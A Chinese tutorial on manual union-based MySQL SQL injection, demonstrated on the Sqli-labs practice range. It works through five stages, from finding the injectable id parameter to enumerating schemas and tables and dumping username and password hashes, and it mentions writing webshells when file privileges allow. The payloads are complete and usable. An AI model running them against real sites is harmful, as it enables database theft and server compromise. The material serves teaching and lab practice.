0x01:MySQL 手工注入 —— 理论篇
手工注入 MySQL 数据库,一般分为以下五个阶段,如下图所示:
-
第一阶段 - 判断注入点: 在本阶段中,我们需要判断注入点的数据类型(数字型、字符型、搜索型、XX 型)与后端查询方式,并使用对应的 SQL 语句进行测试,判断出目标是否存在注入点。
-
第二阶段 - 猜解列名数量: 当目标会将数据库内容回显(使用报错注入可以无视这步)时,我们还需要猜测目标返回的数据库中的字段数量,以方便我们后续的注入。
-
第三阶段 - 判断回显点: 知道了目标返回的字段数量后,我们需要判断这些字段中哪些内容是可以直接显示在页面上的(有回显点),以方便我们后续获取数据库中的内容。
-
第四阶段 - 数据库信息收集: 在本阶段中,我们会利用第三阶段的回显点,使用各种 SQL 语句与函数,获取目标数据库的信息。
-
第五阶段 - SQL 注入漏洞利用: 在本阶段,我们会利用之前收集到的目标数据库的信息,对目标实施更进一步的渗透攻击,如脱裤(将数据库内容全部扒拉下来)和写入木马(需要目标开放对应的权限)。
0x0101:MySQL 数据库查询语句
下面是我们需要提前了解的一些关于 MySQL 数据库的查询语句(基础版):
# 查数据库名,即查询当前数据库服务器中存在哪些数据库select schema_name from information_schema.schemata;# 查表名,即查询指定数据库中存在哪些数据表select table_name from information_schema.tables where table_schema='数据库名'; # 查字段名,即查询指定数据库的某个数据表中存在哪些字段select column_name from information_schema.columns where table_schema='数据库名' and table_name='数据表名';
0x0102:MySQL 数据库查询函数
下面是我们需要提前了解的一些关于 MySQL 数据库的查询函数(基础版):
函数名 | 函数解析 | 用法示例 |
---|---|---|
order by | 对指定列排序 | select * from table_name order by 3 |
group_concat() | 将查询出来的结果用, 号分隔拼接起来 | select group_concat(schema_name) from information_schema.schemata; |
mid(字符串,起始位置(从1开始),取几位) | 按照指定规则截取字符串的内容 | select mid('12',2,1); |
user() | 获取当前登录的用户权限 | select user(); |
version() | 数据库版本收集 | select version(); |
database() | 查看当前正在操作的数据库名称 | select database(); |
@@secure_file_priv | 查看当前数据库是否开启了读写权限。 | select @@secure_file_priv; |
0x02:MySQL 手工注入 —— 实战篇
本节重点在于熟悉 SQL 注入流程,以及注入原理。练习靶场为 Sqli-labs(Less -2 GET - Error based - Intiger based),靶场的配套资源如下(附安装教程):
实验工具准备
PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)
SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:SQLI LABS 靶场安装)
0x0201:第一阶段 — 判断注入点
进入靶场,靶场提示 Please input the ID as parameter with numeric value
要我们输入一个数字型的 ID
作为参数进行查询,那我们就按它的意思传入 id
看看网页返回的结果:
如上,靶场返回了用户的 Login name 和 Password 参数,如果你试着多传递几个不同的值,你还能查询到更多的内容,比如这里,笔者传递了 ?id=3-1
成功获取了 id 为 2 的用户的数据,顺带提一个小思考题(为什么不能直接传递 ?id=1+1
):
这里不卖关子了,因为在 GET 请求的 URL 中,+
号通常被解释为空格,所以在上面这个例子中,你传递的 ?id=1+1
被后端解析后,就变成了 ?id= 1 1
,明显不对,所以当你想要传递 +
号给后端时,最好对 +
号进行 URL 编码,比如下面这个例子:
在上面的测试中,我们发现了,我们传递的数据其实是会被后端解析执行的(MySQL 数据库能够执行一些简单的运算),其实到这里,我们已经可以基本判断这个 id
处存在注入点了。
通过上面测试的结果,我们可以尝试推测目标后端执行的 SQL 语句模板:
select * from users where id=$_GET['id'];
这里的 $_GET['id']
就是我们的注入点,我们传入的值会直接替换 $_GET['id']
然后被传入后端数据库进行执行。
上面的测试,是针对数字型注入点的一种特殊的测试思路,下面我这里再啰嗦一点,提供一个通用的测试思路,即通过拼接布尔表达式,再根据页面返回的结果,判断其是否存在注入点(下面内容可以略过,本节的主要目的就是判断其是否存在注入点,上面的测试已经证明了目标存在注入点,这里只是提供一个通用的方法而已)。
针对我们推测的目标后端 SQL 语句模板,我们可以传递如下两条 Payload 进行测试:
测试 Payload 01: ?id=1 and 1=1 # 若存在注入点,则页面不会发生任何变化,否则页面异常推测后端执行语句: select * from users where id=1 and 1=1;
测试 Payload 02: ?id=1 and 1=0 # 若存在注入点,则页面不会返回任何值,因为 1=0 为假推测后端执行语句: select * from users where id=1 and 1=0;
注意:在浏览器中,用户传递的内容会自动进行一次 URL 编码,比如空格会自动变为
%20
。
通过比对两次的输出结果,我们发现,当在原有的查询基础上添加一个恒真的 SQL 表达式时,查询结果不变;当加上一个恒为假的 SQL 表达式时,服务端未返回任何结果。由此我们可以确定,我们输入的内容成功带入到数据库中执行了,且目标未作任何过滤。所以 id
处存在 SQL 注入漏洞。
0x0202:第二阶段 — 猜解列名数量
在第一阶段的测试中,我们确定了 ?id=
处存在 SQL 注入漏洞,接下来,我们需要通过 order by
(根据某一列进行排序)函数确定服务端返回的数据库字段数量:
测试语句1 -> ?id=1 order by 1 -> 将返回的数据根据第1列进行排序,若返回的数据少于1列会报错推测后端执行语句: select * from users where id=1 order by 1;测试语句2 -> ?id=1 order by 2 -> 将返回的数据根据第2列进行排序,若返回的数据少于2列会报错推测后端执行语句: select * from users where id=1 order by 2;测试语句3 -> ?id=1 order by 3 -> 将返回的数据根据第3列进行排序,若返回的数据少于3列会报错推测后端执行语句: select * from users where id=1 order by 3;测试语句4 -> ?id=1 order by 4 -> 将返回的数据根据第4列进行排序,若返回的数据少于4列会报错推测后端执行语句: select * from users where id=1 order by 4;............................ 如果没遇到报错还得继续查下去 .............................
如上,当我们要求数据库返回的数据按照第 4 列排序的时候,数据库返回了报错信息,说没有找到第 4 列;但是当我们要求其按照第 3 列进行排序的时候,它成功返回了结果。由此,我们可以推断,目标数据库返回了 3 列数据。
0x0203:第三阶段 — 判断回显点
在上一阶段中,我们确定了目标数据库会返回三列值,接下来我们需要使用 union
联合查询,来判断这三列值中,哪个值会成为回显点 (其实在很多测试中,数据库返回的值不会直接回显回页面,这个时候,我们需要使用 “盲注” 技术 ,该技术笔者会在后续的笔记中讲解) 。不过在此之前,笔者先简单介绍以下联合查询:
MySQL Union 联合查询
MySQL 的UNION
操作符用于将两个或多个SELECT
语句的结果集合并成一个结果集。它通常用于从多个表中获取数据,或者从同一个表中根据不同的条件获取数据,并将这些数据合并到一起。示例:使用 UNION 操作符将两个
SELECT
语句的结果集合并到一个结果集
mysql> select username, password from users union select 'key1', 1;+----------+----------------------------------+| username | password |+----------+----------------------------------+| admin | e10adc3949ba59abbe56e057f20f883e || pikachu | 670b14728ad9902aecba32e22fa4f6bd || test | e99a18c428cb38d5f260853678922e03 || key1 | 1 | # 注意这行,是我们通过 union select 'key1', 1; 额外添加上的。+----------+----------------------------------+4 rows in set (0.00 sec)
注意:MySQL Union 查询特性
特性 1:
Union
操作符会默认去除重复的行,这可能会增加一些计算开销。特性 2:
Union
前面查询的语句和后面查询的语句结果互不干扰(不用在意数据类型)。特性 3:
Union
前面查询语句的字段数量和后面查询语句的字段数量要一致!
接下来,我们对靶场传入如下 Payload 进行测试:
测试语句: ?id=-1 union select 1,2,3推测后端执行语句:select * from users where id=-1 union select 1,2,3;
Payload 中传入 id=-1
是为了确保 select * from users where id=-1
查询不出任何值,导致目标可以返回后半段的查询结果,即 select 1,2,3
的查询结果 (为什么是 select 1,2,3
?因为我们前面的测试中发现目标返回了 3 列结果,且 Union
需要确保前后两个 select
语句查询的结果字段数量要一致)。
通过上面的回显结果,可以看到,页面最终回显了 select 1,2,3;
中 2 号位和 3 号位的信息,那这里的 2 号位和 3 号位就是最终的回显点,我们接下来就可以利用这两个回显点,进行数据库的信息搜集了。
0x0204:第四阶段 — 数据库信息收集
通过第三阶段,我们确定了 2 号位和 3 号位为数据的回显点。所以,接下来我们进行信息收集的语句就可以放在这两个位置上(任意一个都可以)。
在本阶段中,我们将会全面收集目标数据库的详细信息,信息收集的越详细,最后能进行攻击的手段就越多。
1. 用户权限收集
SQL 注入攻击,其实就是通过伪造合法的数据库用户,利用它们的权限,来对数据库进行合法的操作。所以第一步,我们就需要了解我们当前获取的数据库用户的权限,以此来了解我们到底能干嘛:
攻击 Payload: ?id=-1 union select 1,2,user()推测后端执行语句:select * from users where id=-1 union select 1,2,user();
传入测试语句后,在 3 号位回显了 root@localhost
证明了当前我们渗透的用户拥有 root
权限,可以对数据库进行任意的操作。
2. 数据库版本收集
MySQL version()
函数会返回当前数据库的版本信息。我们通常将 5.0 以上的版本称为高版本数据库,因为在这些高版本数据库中会内置 information_schema
这张数据表,这张表对我们后续的信息收集工作很重要。如果渗透的是低版本的 MySQL 数据库,我们可以采用字典暴力猜解的方式来尝试确定目标数据库中的信息。
攻击 Payload: ?id=-1 union select 1,2,version()
推测后端执行语句:select * from users where id=-1 union select 1,2,version();
3. 数据库读写权限收集
在前面的信息收集中,我们发现了我们渗透获取的用户为 root
,属于一个高权限用户了。所以我们就可以更进一步的尝试测试目标是否开启了文件的读写权限,如果目标开启了该权限,我们就可以通过 MySQL 数据库向目标指定文件夹中写入木马,进而控制整个服务器了。
在进行攻击之前,我先简单介绍一下 MySQL 的文件读写权限:在 MySQL 高版本(5.0 以上)中,添加了一个新的特性 secure_file_priv
,该选项限制了 mysql 导出文件的权限。
-
当
secure_file_priv=''
时,对 MySQL 的读写没有任何限制。 -
当
secure_file_priv='NULL'
时,MySQL 不能对文件进行读写操作。 -
当
secure_file_priv='文件路径'
时,MySQL 只能对目标路径下的文件进行读写。
攻击 Payload: ?id=-1 union select 1,2,@@secure_file_priv
推测后端执行语句:select * from users where id=-1 union select 1,2,@@secure_file_priv;
目标的 secure_file_priv
设置为 NULL,证明目标关闭了文件读写的权限,所以这条路就走不通咯(笔者后续会专门出一期 “MySQL 高权限注入” 的内容,讲解如何利用这种漏洞,这里就先略过了)。
0x0205:第五阶段 — SQL 注入漏洞利用
通过前面的四个阶段,我们已经对目标站点有了足够清晰的认识,并且已经可以总结出一个注入模板了:
攻击 Payload: ?id=-1 union select 1,2,攻击参数
接下来,我们将会利用这个这个注入模板,尝试获取目标数据库中的一些敏感信息。
1. 获取数据库信息
通过前面对数据库信息的收集,我们可以知道,对方使用的是高版本的数据库,且我们拥有 root 权限。结合这两个信息,我们很轻松就可以推测出,我们拥有查看多个数据库的权限。
查看其它数据库,就需要知道这些数据库的名字,这里我们利用 information_schema
这个系统库,来获取目标数据库服务器中存在的数据库名:
攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>',schema_name) from information_schema.schemata
推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>',schema_name) from information_schema.schemata;
如上,我们已经成功获取了目标数据库服务器中存在的其它数据库名称。
2. 获取数据表信息
接下来,我们以 pikachu
数据库为例,演示如何收集 pikachu
数据库中的数据表信息,依旧是使用 information_schema
系统库:
攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>',table_name) from information_schema.tables where table_schema='pikachu'
推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>',table_name) from information_schema.tables where table_schema='pikachu'
如上,我们已经成功获取了 pikachu 数据库中存在的数据表啦。
3. 获取数据表字段信息
知道了数据库,数据库里的数据表,我们还需要知道数据表中的字段,才能够随意的查询数据库中的内容,所以这一步,我们将通过 information_schema
系统库,获取 pikachu
中 users
这张表的字段信息:
攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>',column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'
推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>',column_name) from information_schema.columns where table_schema='pikachu' and table_name='users';
如上,我们成功获得了 pikachu 数据库的 users 数据表中的字段信息,接下来,我们就可以任意查询这个数据库中的信息啦。
4. 获取数据表具体内容
通过前面的测试,我们已经完全掌握了 pikachu 数据库的 users 数据表的结构了,接下来,我们就可以构造语句读取数据表信息啦:
攻击 Payload: ?id=-1 union select 1,2,group_concat('<br>' ,username, ':', password) from pikachu.users
推测后端执行语句:select * from users where id=-1 union select 1,2,group_concat('<br>' ,username, ':', password) from pikachu.users;
如上,我们已经成功读取到我们想要的数据啦。重复前面的四个步骤,我们就可以读取任意数据库的任意一张数据表中的信息了。
聪明如你,应该发现了,我们上面渗透的数据库其实不是当前站点使用的数据库,这就是高权限的一个优势,可以 “跨库查询”。至此,MySQL 手工注入的基本流程讲解完毕。